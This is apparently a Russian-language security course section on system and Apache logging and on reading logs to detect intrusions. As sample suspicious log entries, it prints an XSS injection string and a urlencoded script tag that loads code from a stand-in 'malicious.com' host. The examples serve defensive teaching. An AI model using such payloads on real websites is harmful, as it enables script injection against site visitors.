Ваша система является целью

Эта часть посвящена тому, как заметить, что в администрируемой нами системе что-то происходит. После этого мы перейдем к криптографии и безопасности сотовых сетей.

Можно пытаться снова и снова, но защитить сеть от всех типов атак невозможно. Полезно знать, происходит ли что-то подозрительное, а в худшем случае — если система уже взломана — иметь данные, по которым можно определить причину происшествия. Как этого добиться? Одно слово: LOGS. Они содержат цифровой след того, что происходит в системе.

Назначение логов

Согласно OWASP, лог всегда содержит четыре базовых типа информации: когда, где, кто и что, а события безопасности всегда должны включаться. Иными словами, логи — это файлы, содержащие информацию обо всех действиях, происходящих в системе. Записи с временными метками можно считать отпечатком произошедшего; по ним можно реконструировать инцидент. Должно быть возможно понять, что произошло и в каком порядке. Анализ логов — важный метод цифровой криминалистики. Управлять логами нужно правильно, чтобы злоумышленник не мог их изменить. Правильно управляемые логи также могут использоваться как доказательство в разбирательстве.

Помимо очевидных причин, таких как выявление инцидентов безопасности или поддержка механизмов non-repudiation, логи являются важным источником информации для определения базового поведения повседневных бизнес-процессов. Имея такой baseline, проще использовать техники вроде обнаружения аномалий, чтобы получать предупреждения, когда происходит что-то необычное, например когда что-то вот-вот сломается.

Управление логами

Не для всей системы нужно хранить все. Вместо этого можно разделить части системы на группы по их важности для системы; архитектурный анализ, который обсуждался ранее, помогает понять, какие части являются критичными. На основе этих групп можно решить, сколько информации о действиях хранить. Это баланс между объемом хранилища и знанием о том, что произошло. Например, если хранить несколько коротких сообщений, лог не требует много места, но и знания о произошедшем будет мало. На другом конце спектра можно хранить почти все: потребуется много места, зато будет понятно, что именно произошло.

Кроме того, сборщик логов должен помнить и о других вещах, например о законе. В зависимости от того, что именно логируется с машины, может возникнуть ситуация, в которой нужно предоставить людям политику конфиденциальности и принять дополнительные меры по обеспечению целостности и хранения данных, включая сроки хранения. Например, если вы логируете имена пользователей сайта или адреса электронной почты, вы фактически собираете персональные данные, и лог становится реестром персональных данных. Другой пример — любые данные в логе о коммуникациях, которые можно связать с конкретным пользователем и по которым можно определить, кто что сделал. Напомним, что скоро будут действовать еще более строгие правила обработки персональных данных: General Data Protection Regulation (GDPR), Regulation (EU) 2016/679.

Логирование в Linux-системах

Здесь мы дадим очень краткое введение в логирование в Linux-системах. В других *nix-системах и вариантах Linux могут быть отличия, например имена файлов auth.log и auth_log, но основы остаются теми же. Почему Linux? Согласно W3tech и Netcraft Linux как ОС и Apache как веб-сервер занимают значимую долю среди вариантов, используемых для настройки веб-сервера, обслуживающего клиентов.

Лог-файлы Linux

Типичный каталог логов в Linux-системах содержит много видов логов. Во-первых, есть auth.log, где находятся события аутентификации, такие как sudo, удаленные входы и т. д. Во-вторых, есть логи демонов, где записывается информация о работающих daemon-приложениях. В-третьих, есть лог ядра и кольцевой буфер ядра, полезные для диагностики ядра. В-четвертых, debug log, который собирает отладочную информацию, если он включен. В-пятых, сам системный лог, содержащий наибольший объем данных. Обычно именно туда стоит смотреть, если в других логах нет нужной информации. После этого идут логи приложений; из них мы кратко рассмотрим логи Apache.

Ниже приведены несколько строк из разных логов. Первая — пример строки auth.log, вторая — пример строки системного лога. Формат похож: сначала временная метка, имя хоста, затем кто сообщил и что именно.

Jan 18 19:24:59 examplehost sudo: pam_unix(sudo:auth): authentication failure; logname= uid=1073634 euid=0 tty=/dev/pts/0 ruser=username rhost=  user=username

Jan 23 18:05:24 examplehost dnsmasq[1536]: using nameserver 8.8.8.8#53

Логи Apache

Apache создает два лога в /var/log/apache2/ (путь может отличаться в зависимости от системы): error log и access log. Error log содержит диагностическую информацию и записи обо всех найденных ошибках. Access log содержит все остальное. Он хорошо настраивается, но может содержать примерно следующее.

127.0.0.1 -- frank [10/Oct/2007:13:55:36 -0700] "GET /index.html HTTP/1.0" 200 2326

Первым в строке идет хост, затем идентификатор, сообщенный клиентом (здесь дефис, поскольку она не найдена), и userid (обычно содержимое переменной окружения REMOTE_USER). После этого идет временная метка и использованная строка запроса, за которыми следуют код возврата и размер переданного объекта.

Удаленное логирование

Неразумно хранить единственные копии логов на машине, которая может быть взломана. Хорошая идея — настроить центральный сервер логирования, который собирает все логи, возможно с нескольких машин. Так у вас будут резервные копии логов на случай потери или изменения. Удаленный сбор логов на центральный сервер также удобен для аналитики, выявления и представления аномалий безопасности. Если несколько машин отправляют логи, нужно убедиться, что их представление о времени одинаковое. Иначе будет трудно сопоставить, что произошло, где и когда. Удаленное логирование можно настроить так, чтобы оно было защищено TLS, и тогда логи потенциально можно отправлять через публичный интернет. Но лучше отправлять их на другую машину через выделенную управляющую сеть, не подключенную к интернету. Даже тогда трафик следует шифровать: позднее при изменении маршрутов можно случайно сделать управляющую сеть доступной из интернета. Это также одна из причин, почему даже машины во "внутренних" сетях должны иметь контроль доступа.

Анализ лог-файлов

Логи бывают очень большими и легко могут превышать 1 GB. Если помнить, что одна строка — это одно произошедшее действие и что она занимает не так много байт, становится понятно, что гигабайтные файлы содержат "много" событий, а их просмотр — масштабная задача. Ее можно решать с помощью bash, grep, cat, cut, awk, less и т. д., но существуют и специализированные инструменты.

Что искать в логе

Если вы начинаете видеть сообщения об ошибках драйверов устройств, которые вы не подключали, это повод насторожиться. Например, если драйвер параллельного порта начинает отправлять сообщения об ошибках, хотя реального устройства, использующего его, нет, вывод может быть таким: происходит что-то подозрительное.

Успешные входы пользователей, например Accepted password, Accepted publickey или Session opened. Эти ключевые слова могут обозначать легитимные действия, но что если вы знаете, что никто из сотрудников не находится за границей, а IP-адреса в этих сообщениях относятся к удаленной локации? Или что если перед ними видны тысячи неудачных попыток? При неудачных входах, например authentication failure или failed password, система может работать корректно, но стоит иметь механизм замедления таких попыток: например правило iptables, которое отбрасывает слишком частые соединения с одного IP, или authfail script, который блокирует IP на некоторое время.

Изменения пользователей также представляют интерес. Добавление, изменение или удаление учетных записей, смена паролей, а также неудачные команды sudo (FAILED su) особенно важны.

И наконец, если что-то начинает постоянно отправлять ошибки, это обычно нужно проверить. Причиной может быть неисправное устройство, ошибка или кто-то, пытающийся выяснить, есть ли в системе дыра.

Допустим, у вас есть логи веб-сервера, и вы думаете, что именно в них искать. Ниже небольшой список отправных точек; он неполный, но помогает начать поиск того, что пошло не так.

• Запросы исполняемых файлов
• Чрезмерное число попыток доступа к несуществующим файлам
• Код как часть URL (urlencoded и т. д.)
• Доступ к расширениям, которые вы не реализовывали
• Доступ к страницам, принимающим пользовательский ввод
• Необычно большой размер переданных данных
• Системные пути
• Сообщения об остановке, запуске или сбое веб-сервиса
• Попытки SQL-инъекции, например SELECT
• Большое количество неудачных входов
• Большое количество кодов ошибок "не найдено" (404) или "внутренняя ошибка сервера" (500)
• Код 200 для файлов, которые не принадлежат вам

Например, в строке запроса можно увидеть что-то вроде следующего, что может привести к XSS-атаке.

’\"--></style></script><script>MALICIOUS CODE</script>

Или вы можете увидеть строки с большим количеством urlencoded-символов там, где их быть не должно. Например, следующее может быть нежелательным:

%3cscript%20src=%22http%3a%2f%2fwww.malicious.com%2fcode.js%22%3e%3c%2fscript%3e

Если вы видите код ошибки 404, это на самом деле нормально: сервер просто сообщил "я не нашел запрошенный файл". Но если 404 становится очень много, это может означать, что кто-то ищет то, что ему искать не следует. С другой стороны, сообщение об успехе 200 OK может означать больше, чем просто OK, особенно если 200 OK является результатом чего-то вроде предыдущих примеров. Сообщения 302 Redirect могут быть признаком того, что произошло то, чего происходить не должно было.

Также следует смотреть на пути файлов и расширения. Исполняемые файлы — это то, что вы, возможно, не хотите видеть в логах. Кроме того, системные пути вроде /var/log или /etc/shadow в логе веб-сервера на Linux-машине — плохой знак. Также разумно удалять резервные и старые файлы с производственного сайта (.bak, .old), поскольку они являются хорошим источником для поиска изменений в системе и могут показать, что разработчик был невнимателен и допускал ошибки.

Во второй части курса Advanced Topics мы сделали шаги к пониманию системного и прикладного логирования и того, как его можно использовать для обнаружения вторжений. Мы также кратко заглянули в будущее с машинным обучением. Это можно рассматривать как intrusion detection.

Не забудьте проверить свои баллы в индикаторе в правом нижнем углу материала!